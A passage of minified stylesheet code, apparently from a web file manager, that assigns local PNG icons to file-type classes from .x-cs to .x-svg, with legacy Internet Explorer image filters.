\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none 